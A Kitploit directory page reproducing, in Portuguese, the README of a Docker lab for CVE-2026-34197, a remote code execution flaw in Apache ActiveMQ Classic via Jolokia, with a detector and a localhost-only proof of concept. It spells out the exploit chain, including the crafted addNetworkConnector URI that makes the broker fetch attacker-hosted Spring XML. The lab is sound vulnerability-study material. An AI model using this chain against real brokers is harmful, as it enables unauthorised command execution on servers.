Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-34197-Lab — # Laboratório Docker demonstrando CVE-2026-34197, uma RCE no Apache ActiveMQ Classic via Jolokia. Inclui um detector seguro e um PoC apenas local com comando fixo, comparando versões vulneráveis e corrigidas. | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

# Laboratório Docker demonstrando CVE-2026-34197, uma RCE no Apache ActiveMQ Classic via Jolokia. Inclui um detector seguro e um PoC apenas local com comando fixo, comparando versões vulneráveis e corrigidas.

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-34197 — Laboratório de RCE Jolokia do Apache ActiveMQ Classic

Visão Geral

Este repositório é um laboratório Docker local para estudar a CVE-2026-34197, um problema de execução remota de código no Apache ActiveMQ Classic acessível através da API Jolokia JMX-HTTP.

O laboratório compara duas instâncias do ActiveMQ Classic lado a lado:

ServiçoVersãoFinalidadeURL
vuln5.19.3Alvo vulnerávelhttp://127.0.0.1:8081
patched5.19.4Alvo de comparação corrigidohttp://127.0.0.1:8082

O repositório contém dois scripts de prova:

ScriptFinalidadeModelo de segurança
poc/detect.pyDetector autorizadoSomente HTTP; não explora
poc/poc.pyProva de caminho RCE somente localComando fixo apenas: id; whoami; sleep 5

A evidência de execução é verificada separadamente pelo operador usando ferramentas de observação de processos, como strace.


Resumo da Vulnerabilidade

A CVE-2026-34197 afeta versões do Apache ActiveMQ Classic onde um usuário autenticado pode usar a API Jolokia para invocar operações de gerenciamento do broker e fazer com que a JVM do broker carregue Spring XML controlado pelo atacante através de uma URI brokerConfig=xbean:http://... manipulada.

O fluxo vulnerável demonstrado neste laboratório é:

root@kitploit:~
Jolokia /api/jolokia/
  -> Operação do MBean do Broker
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> Busca remota de Spring XML
  -> Inicialização do bean ProcessBuilder
  -> comando de prova local fixo

O serviço corrigido bloqueia este caminho antes que o XML seja buscado e retorna um erro semelhante a:

root@kitploit:~
VM scheme is not allowed

Estrutura do Repositório

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

Funções dos arquivos

  • docker-compose.yml executa os serviços ActiveMQ vulnerável e corrigido.
  • vuln/Dockerfile compila o Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile compila o Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py verifica a exposição do Jolokia, a versão do ActiveMQ e a visibilidade do MBean do Broker.
  • poc/poc.py aciona o caminho RCE somente local usando um comando benigno fixo.
  • images/strace.png contém evidências locais de observação de processos do serviço vulnerável.
  • .gitignore exclui artefatos locais, arquivos de cache Python, ambientes virtuais, logs e segredos.

Limites de Segurança

Este repositório destina-se apenas ao uso em laboratório local e à validação de segurança autorizada.

O PoC é deliberadamente restrito:

  • Recusa alvos não locais.
  • Não aceita comandos arbitrários.
  • Usa apenas o comando fixo: id; whoami; sleep 5.
  • Não coleta a saída do comando através de um callback.
  • Depende de observação separada controlada pelo operador, como strace.

Alvos locais permitidos para poc.py:

root@kitploit:~
127.0.0.1
localhost
::1

Não use este repositório contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.


Configuração do Laboratório

Compilar e iniciar o laboratório

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

Verifique o status do serviço:

root@kitploit:~
docker compose ps

Serviços esperados:

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Verificar endpoints de versão do Jolokia

Verifique o serviço vulnerável:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

Verifique o serviço corrigido:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

Versões esperadas:

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

Uso do Detector

poc/detect.py é o script padrão seguro. Ele não explora o alvo.

Ele verifica:

  1. se /api/jolokia/version está acessível;
  2. se a autenticação é necessária;
  3. se o produto é Apache ActiveMQ;
  4. a versão do ActiveMQ;
  5. se o MBean do Broker está visível através da pesquisa Jolokia;
  6. se a versão está em uma faixa afetada.

Executar o detector contra ambos os serviços do laboratório

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

Resultado esperado:

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

O que conta como vulnerável no detector?

O detector marca um alvo como LIKELY_VULNERABLE quando:

root@kitploit:~
Jolokia está acessível
+
A versão do ActiveMQ está em uma faixa afetada

Faixas afetadas usadas por este laboratório:

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

A visibilidade do MBean do Broker é usada como evidência de confiança porque o caminho de exploração depende de operações de gerenciamento do broker.

O detector não afirma CONFIRMED_RCE.


PoC do Caminho RCE Somente Local

poc/poc.py demonstra o caminho RCE no laboratório Docker local.

Ele inicia um servidor HTTP temporário no host e serve um payload Spring XML em um caminho exclusivo por execução:

root@kitploit:~
/evil-<nonce>.xml

Em seguida, ele invoca o MBean do Broker ActiveMQ através do Jolokia:

root@kitploit:~
addNetworkConnector(java.lang.String)

com uma URI de descoberta manipulada:

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

O broker vulnerável busca este XML. O broker corrigido bloqueia o esquema de transporte vm:// antes de buscar o XML.

Comportamento importante

Após uma execução vulnerável, o NetworkConnector criado pode tentar buscar novamente o caminho XML antigo. O script usa um nonce exclusivo por execução e rastreia matches_current_run para evitar falsos positivos.

Um acerto só é contado como execução atual se corresponder a:

root@kitploit:~
/evil-<nonce-atual>.xml

Executar PoC Contra o Serviço Vulnerável

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Saída esperada:

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

Isso confirma que o ActiveMQ 5.19.3 pode ser induzido a buscar Spring XML controlado pelo atacante através do caminho do broker gerenciado pelo Jolokia.


Executar PoC Contra o Serviço Corrigido

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

Saída esperada:

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

Se acertos de uma execução vulnerável mais antiga aparecerem, eles devem mostrar:

root@kitploit:~
"matches_current_run": false

Esses não são contados como sucesso do serviço corrigido.


Confirmar Execução de Comando com strace

O script PoC não coleta a saída do comando. Para confirmar a execução do comando, observe a criação de processos dentro do contêiner vulnerável.

Entre no contêiner vulnerável como root:

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

Encontre o processo Java:

root@kitploit:~
pgrep -af java

Anexe o strace ao PID do Java:

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

Em outro terminal, execute o PoC contra o serviço vulnerável:

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Evidência esperada do strace:

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

Esta é a evidência em nível de sistema operacional de que o comando de prova fixo foi executado pela JVM do broker.

evidência de execução de comando strace


Limpeza Entre Execuções

O PoC tenta remover o nome padrão do NetworkConnector NC antes de acionar. Isso mantém execuções repetidas do laboratório previsíveis.

Limpeza manual:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

Ou reinicie o laboratório:

root@kitploit:~
docker compose restart vuln patched

Resultados Esperados do Laboratório

TesteVulnerável 5.19.3Corrigido 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Acesso JolokiaAcessível com autenticaçãoAcessível com autenticação
MBean do BrokerVisívelVisível
Busca XML do poc.pySimNão
Assinatura de bloqueio corrigidaN/AVM scheme is not allowed
Evidência de comando strace/bin/sh -c 'id; whoami; sleep 5'Não esperada

Referências

  • Aviso de Segurança do Apache ActiveMQ — CVE-2026-34197: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • CVE.org — Registro CVE-2026-34197: https://www.cve.org/CVERecord?id=CVE-2026-34197
  • Banco de Dados de Avisos do GitHub — GHSA-rxpj-7qvf-xv32: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 RCE do ActiveMQ via API Jolokia: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Documentação do Apache ActiveMQ Classic — Redes de Brokers: https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • Documentação da API JMX BrokerView do Apache ActiveMQ Classic: https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
Baixar ferramenta